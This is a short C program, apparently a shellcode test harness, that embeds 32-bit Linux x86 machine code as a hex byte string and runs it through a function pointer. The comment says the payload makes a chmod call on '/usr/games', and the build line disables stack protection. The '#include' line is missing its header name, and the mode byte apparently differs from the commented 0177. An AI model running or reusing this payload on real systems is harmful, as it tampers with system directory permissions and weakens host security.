#include /* 32 bit chmod("/usr/games", 0177) cc -o games -fno-stack-protector --srm */ char code[] = "\x31\xc9\x51\xb1\xff\x68\x6d\x65\x73\x2f\x68\x72\x2f\x67\x61\x68\x2f\x2f" "\x75\x73\x89\xe3\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80"; int main() { void (*f)(); f = (void *) code; printf("%d\n", strlen(code)); f(); return 0; }